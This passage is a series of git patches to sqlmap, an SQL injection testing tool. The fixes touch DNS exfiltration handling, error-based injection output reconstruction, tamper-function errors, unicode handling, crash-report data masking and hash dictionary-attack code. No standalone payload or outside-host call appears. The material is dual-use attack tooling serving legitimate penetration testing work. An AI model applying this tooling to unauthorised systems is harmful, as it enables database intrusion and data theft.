- 1 file changed, 1 deletion(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index a0ed7d6ff..ded020cb0 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -273,7 +273,6 @@ class Connect(object): url, params = url.split('?', 1) params = urlencode(params) url = "%s?%s" % (url, params) - requestMsg += "?%s" % params elif multipart: # Needed in this form because of potential circle dependency From 4e0e64d06bbd7c66506c2d2bfeb854c8a546fb4f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 31 Oct 2014 20:28:37 +0100 Subject: [PATCH 562/889] Bug fix for DNS Exfiltration in PgSQL case ('invalid URI') --- lib/core/agent.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 2d6146c3b..9a33194bb 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -993,7 +993,7 @@ class Agent(object): """ _ = re.escape(PAYLOAD_DELIMITER) - return re.sub("(%s.*?%s)" % (_, _), ("%s%s%s" % (PAYLOAD_DELIMITER, payload, PAYLOAD_DELIMITER)).replace("\\", r"\\"), value) if value else value + return re.sub("(?s)(%s.*?%s)" % (_, _), ("%s%s%s" % (PAYLOAD_DELIMITER, payload, PAYLOAD_DELIMITER)).replace("\\", r"\\"), value) if value else value def runAsDBMSUser(self, query): if conf.dbmsCred and "Ad Hoc Distributed Queries" not in query: From baf9ada28dadb93af8c1e9ddac52a68fb85d91fc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 1 Nov 2014 17:13:33 +0100 Subject: [PATCH 563/889] Fix for an Issue #889 --- lib/parse/sitemap.py | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py index 16aaf1e47..799f62a92 100644 --- a/lib/parse/sitemap.py +++ b/lib/parse/sitemap.py @@ -5,11 +5,13 @@ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ +import httplib import re from lib.core.common import readInput from lib.core.data import kb from lib.core.data import logger +from lib.core.exception import SqlmapSyntaxException from lib.request.connect import Connect as Request from thirdparty.oset.pyoset import oset @@ -26,8 +28,13 @@ def parseSitemap(url, retVal=None): abortedFlag = False retVal = oset() - content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else "" - for match in re.finditer(r"\s*([^<]+)", content): + try: + content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else "" + except httplib.InvalidURL: + errMsg = "invalid URL given for sitemap ('%s')" % url + raise SqlmapSyntaxException, errMsg + + for match in re.finditer(r"\s*([^<]+)", content or ""): if abortedFlag: break url = match.group(1).strip() From a4d058d70cb89e88790c7003182733b033f80087 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 2 Nov 2014 10:55:38 +0100 Subject: [PATCH 564/889] More anonymization of unhanded exception data --- lib/core/common.py | 6 +++++- sqlmap.py | 4 ++++ 2 files changed, 9 insertions(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 6d69fbfd7..0182c2949 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -9,6 +9,7 @@ import codecs import contextlib import cookielib import copy +import getpass import hashlib import httplib import inspect @@ -2845,7 +2846,7 @@ def unhandledExceptionMessage(): errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None)) errMsg += "Back-end DBMS: %s" % ("%s (fingerprinted)" % Backend.getDbms() if Backend.getDbms() is not None else "%s (identified)" % Backend.getIdentifiedDbms()) - return maskSensitiveData(errMsg) + return errMsg def createGithubIssue(errMsg, excMsg): """ @@ -2896,6 +2897,9 @@ def maskSensitiveData(msg): value = extractRegexResult(regex, retVal) retVal = retVal.replace(value, '*' * len(value)) + if getpass.getuser(): + retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), "*" * len(getpass.getuser()), retVal) + return retVal def listToStrValue(value): diff --git a/sqlmap.py b/sqlmap.py index 3472b17a8..6a4683881 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -25,6 +25,7 @@ from lib.core.common import banner from lib.core.common import createGithubIssue from lib.core.common import dataToStdout from lib.core.common import getUnicode +from lib.core.common import maskSensitiveData from lib.core.common import setColor from lib.core.common import setPaths from lib.core.common import weAreFrozen @@ -138,6 +139,9 @@ def main(): file_ = re.sub(r"\.\./", '/', file_).lstrip('/') excMsg = excMsg.replace(match.group(1), file_) + errMsg = maskSensitiveData(errMsg) + excMsg = maskSensitiveData(excMsg) + logger.critical(errMsg) kb.stickyLevel = logging.CRITICAL dataToStdout(excMsg) From 1ef2c4006d035bae83c6aec5e392da74a9e266d2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 2 Nov 2014 11:01:46 +0100 Subject: [PATCH 565/889] Patch for an Issue #892 --- lib/core/common.py | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 0182c2949..20824f268 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -857,8 +857,13 @@ def dataToOutFile(filename, data): if data: retVal = os.path.join(conf.filePath, filePathToSafeString(filename)) - with codecs.open(retVal, "wb", UNICODE_ENCODING) as f: - f.write(data) + try: + with codecs.open(retVal, "wb", UNICODE_ENCODING) as f: + f.write(data) + except IOError, ex: + errMsg = "something went wrong while trying to write " + errMsg += "to the output file ('%s')" % ex + raise SqlmapGenericException(errMsg) return retVal From 9652e4122644ee10412af3fcf51801b4728c4608 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 2 Nov 2014 23:32:19 +0100 Subject: [PATCH 566/889] Path for an Issue #891 --- lib/core/common.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 20824f268..166ecb3ce 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1082,7 +1082,6 @@ def setPaths(): paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.zip") paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml") paths.PAYLOADS_XML = os.path.join(paths.SQLMAP_XML_PATH, "payloads.xml") - paths.INJECTIONS_XML = os.path.join(paths.SQLMAP_XML_PATH, "injections.xml") paths.LIVE_TESTS_XML = os.path.join(paths.SQLMAP_XML_PATH, "livetests.xml") paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml") paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml") @@ -1091,6 +1090,10 @@ def setPaths(): paths.ORACLE_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml") paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml") + for path in paths.values(): + if any(path.endswith(_) for _ in (".txt", ".xml", ".zip")): + checkFile(path) + def weAreFrozen(): """ Returns whether we are frozen via py2exe. From 05b446b95d7d49da47a8334e164dc9768db941f7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 2 Nov 2014 23:38:52 +0100 Subject: [PATCH 567/889] Patch for an Issue #893 --- lib/core/target.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/core/target.py b/lib/core/target.py index dd0da7b3d..424ebef91 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -17,6 +17,7 @@ from lib.core.common import Backend from lib.core.common import getUnicode from lib.core.common import hashDBRetrieve from lib.core.common import intersect +from lib.core.common import normalizeUnicode from lib.core.common import paramToDict from lib.core.common import readInput from lib.core.common import resetCookieJar @@ -573,7 +574,7 @@ def _createTargetDirs(): paths.SQLMAP_OUTPUT_PATH = tempDir - conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), getUnicode(conf.hostname)) + conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname))) if not os.path.isdir(conf.outputPath): try: From 954bd546896e6ea7dbb9f7c54287dc1e8c5263cd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 3 Nov 2014 08:31:50 +0100 Subject: [PATCH 568/889] Fix for an Issue #895 --- plugins/dbms/mysql/takeover.py | 1 + plugins/dbms/postgresql/takeover.py | 2 ++ 2 files changed, 3 insertions(+) diff --git a/plugins/dbms/mysql/takeover.py b/plugins/dbms/mysql/takeover.py index 4457c9493..ec018ee82 100644 --- a/plugins/dbms/mysql/takeover.py +++ b/plugins/dbms/mysql/takeover.py @@ -5,6 +5,7 @@ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ +import os import re from lib.core.agent import agent diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index 0c3a41584..6d29b6cb5 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -5,6 +5,8 @@ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ +import os + from lib.core.common import Backend from lib.core.common import randomStr from lib.core.data import kb From 6f45596f28dc92331b4d2f36fa3c6653db1d03c8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 3 Nov 2014 23:48:44 +0100 Subject: [PATCH 569/889] Minor style update --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0c31f65cc..381ee15b1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -538,7 +538,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100 CHECK_ZERO_COLUMNS_THRESHOLD = 10 # Boldify all logger messages containing these "patterns" -BOLD_PATTERNS = ("' injectable", "might be injectable", "' is vulnerable", "is not injectable", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is") +BOLD_PATTERNS = ("' injectable", "might be injectable", "' is vulnerable", "is not injectable", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github") # Generic www root directory names GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www") From 4d5b48b2ae3bb2b8c37fc246719fb65b87a62fd9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 4 Nov 2014 00:34:35 +0100 Subject: [PATCH 570/889] Patch for an Issue #896 --- lib/core/common.py | 32 +++++++++++++------------------- lib/core/testing.py | 2 +- lib/parse/cmdline.py | 6 +++--- 3 files changed, 17 insertions(+), 23 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 166ecb3ce..c00793778 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -923,7 +923,7 @@ def readInput(message, default=None, checkBatch=True): try: retVal = raw_input() or default - retVal = getUnicode(retVal, system=True) if retVal else retVal + retVal = getUnicode(retVal, encoding=sys.stdin.encoding) if retVal else retVal except: time.sleep(0.05) # Reference: http://www.gossamer-threads.com/lists/python/python/781893 kb.prependFlag = True @@ -1064,7 +1064,7 @@ def setPaths(): paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner") _ = os.path.join(os.path.expanduser("~"), ".sqlmap") - paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(_, "output")), system=True) + paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(_, "output")), encoding=sys.getfilesystemencoding()) paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") @@ -2009,7 +2009,7 @@ def getPartRun(alias=True): else: return retVal -def getUnicode(value, encoding=None, system=False, noneToNull=False): +def getUnicode(value, encoding=None, noneToNull=False): """ Return the unicode representation of the supplied value: @@ -2028,25 +2028,19 @@ def getUnicode(value, encoding=None, system=False, noneToNull=False): value = list(getUnicode(_, encoding, system, noneToNull) for _ in value) return value - if not system: - if isinstance(value, unicode): - return value - elif isinstance(value, basestring): - while True: - try: - return unicode(value, encoding or kb.get("pageEncoding") or UNICODE_ENCODING) - except UnicodeDecodeError, ex: - value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:] - else: + if isinstance(value, unicode): + return value + elif isinstance(value, basestring): + while True: try: - return unicode(value) - except UnicodeDecodeError: - return unicode(str(value), errors="ignore") # encoding ignored for non-basestring instances + return unicode(value, encoding or kb.get("pageEncoding") or UNICODE_ENCODING) + except UnicodeDecodeError, ex: + value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:] else: try: - return getUnicode(value, sys.getfilesystemencoding() or sys.stdin.encoding) - except: - return getUnicode(value, UNICODE_ENCODING) + return unicode(value) + except UnicodeDecodeError: + return unicode(str(value), errors="ignore") # encoding ignored for non-basestring instances def longestCommonPrefix(*sequences): """ diff --git a/lib/core/testing.py b/lib/core/testing.py index c2c96de0a..bc72de58c 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -285,7 +285,7 @@ def runCase(parse): elif result is False: # this means no SQL injection has been detected - if None, ignore retVal = False - console = getUnicode(console, system=True) + console = getUnicode(console, encoding=sys.stdin.encoding) if parse and retVal: with codecs.open(conf.dumper.getOutputFile(), "rb", UNICODE_ENCODING) as f: diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 0bfbbba77..a3cbfe582 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -41,7 +41,7 @@ def cmdLineParser(): checkSystemEncoding() - _ = getUnicode(os.path.normpath(sys.argv[0]), system=True) + _ = getUnicode(os.path.normpath(sys.argv[0]), encoding=sys.getfilesystemencoding()) usage = "%s%s [options]" % ("python " if not IS_WIN else "", \ "\"%s\"" % _ if " " in _ else _) @@ -788,7 +788,7 @@ def cmdLineParser(): advancedHelp = True for arg in sys.argv: - argv.append(getUnicode(arg, system=True)) + argv.append(getUnicode(arg, encoding=sys.stdin.encoding)) checkDeprecatedOptions(argv) @@ -837,7 +837,7 @@ def cmdLineParser(): break for arg in shlex.split(command): - argv.append(getUnicode(arg, system=True)) + argv.append(getUnicode(arg, encoding=sys.stdin.encoding)) # Hide non-basic options in basic help case for i in xrange(len(argv)): From 97cc679f9c18765eefe5b8eb2d66dd0d82c777d1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 4 Nov 2014 15:15:58 +0100 Subject: [PATCH 571/889] Fix for an Issue #900 --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index c00793778..06004d9a7 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2025,7 +2025,7 @@ def getUnicode(value, encoding=None, noneToNull=False): return NULL if isListLike(value): - value = list(getUnicode(_, encoding, system, noneToNull) for _ in value) + value = list(getUnicode(_, encoding, noneToNull) for _ in value) return value if isinstance(value, unicode): From 78cc3853b6aaadb973389bf4a643f6788da7eb20 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 5 Nov 2014 09:56:50 +0100 Subject: [PATCH 572/889] Fix for an Issue #902 --- lib/utils/hash.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/utils/hash.py b/lib/utils/hash.py index e414e7239..022e7eef4 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -665,7 +665,7 @@ def dictionaryAttack(attack_dict): if not hash_: continue - hash_ = hash_.split()[0] + hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ regex = hashRecognition(hash_) if regex and regex not in hash_regexes: @@ -682,7 +682,7 @@ def dictionaryAttack(attack_dict): if not hash_: continue - hash_ = hash_.split()[0] + hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ if re.match(hash_regex, hash_): item = None From 71c43be53a6f1780d067807352a1a3af2420455f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 5 Nov 2014 10:03:19 +0100 Subject: [PATCH 573/889] Patch for an Issue #901 --- lib/request/connect.py | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index ded020cb0..0dce14365 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -62,6 +62,7 @@ from lib.core.enums import REDIRECTION from lib.core.enums import WEB_API from lib.core.exception import SqlmapCompressionException from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapSyntaxException from lib.core.exception import SqlmapTokenException from lib.core.exception import SqlmapValueException @@ -651,7 +652,13 @@ class Connect(object): if payload: if kb.tamperFunctions: for function in kb.tamperFunctions: - payload = function(payload=payload, headers=auxHeaders) + try: + payload = function(payload=payload, headers=auxHeaders) + except Exception, ex: + errMsg = "error occurred while running tamper " + errMsg += "function '%s' ('%s')" % (function.func_name, ex) + raise SqlmapGenericException(errMsg) + if not isinstance(payload, basestring): errMsg = "tamper function '%s' returns " % function.func_name errMsg += "invalid payload type ('%s')" % type(payload) From a074efe75ed7302d4106c42eee253a52d841b5b7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 5 Nov 2014 10:46:11 +0100 Subject: [PATCH 574/889] Minor improvement of error-based SQLi when trimmed output is detected (trying to reconstruct) --- lib/techniques/error/use.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index f6c960484..47098eb44 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -74,7 +74,7 @@ def _oneShotErrorUse(expression, field=None): try: while True: check = "%s(?P.*?)%s" % (kb.chars.start, kb.chars.stop) - trimcheck = "%s(?P.*?)[^<]*)" % (kb.chars.start) if field: nulledCastedField = agent.nullAndCastField(field) @@ -130,6 +130,10 @@ def _oneShotErrorUse(expression, field=None): warnMsg += safecharencode(trimmed) logger.warn(warnMsg) + if not kb.testMode: + check = "(?P.*?)%s" % kb.chars.stop[:2] + output = extractRegexResult(check, trimmed, re.IGNORECASE) + if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)): if offset == 1: retVal = output From a91fb4149b7c5e8db8a3ea14f26210c2c3131c07 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 5 Nov 2014 10:56:30 +0100 Subject: [PATCH 575/889] Minor update (using lower frequency alphabet for kb.chars) --- lib/core/option.py | 5 +++-- lib/core/settings.py | 3 +++ 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 21fe4f8c9..392d5eb19 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -106,6 +106,7 @@ from lib.core.settings import DUMMY_URL from lib.core.settings import INJECT_HERE_MARK from lib.core.settings import IS_WIN from lib.core.settings import KB_CHARS_BOUNDARY_CHAR +from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET from lib.core.settings import LOCALHOST from lib.core.settings import MAX_CONNECT_RETRIES from lib.core.settings import MAX_NUMBER_OF_THREADS @@ -1643,8 +1644,8 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.chars = AttribDict() kb.chars.delimiter = randomStr(length=6, lowercase=True) - kb.chars.start = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, lowercase=True), KB_CHARS_BOUNDARY_CHAR) - kb.chars.stop = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, lowercase=True), KB_CHARS_BOUNDARY_CHAR) + kb.chars.start = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) + kb.chars.stop = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = ("%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, _, KB_CHARS_BOUNDARY_CHAR) for _ in randomStr(length=4, lowercase=True)) kb.columnExistsChoice = None diff --git a/lib/core/settings.py b/lib/core/settings.py index 381ee15b1..ebd6a5153 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -624,6 +624,9 @@ BRUTE_DOC_ROOT_TARGET_MARK = "%TARGET%" # Character used as a boundary in kb.chars (preferably less frequent letter) KB_CHARS_BOUNDARY_CHAR = 'q' +# Letters of lower frequency used in kb.chars +KB_CHARS_LOW_FREQUENCY_ALPHABET = "zqxjkvbp" + # CSS style used in HTML dump format HTML_DUMP_CSS_STYLE = """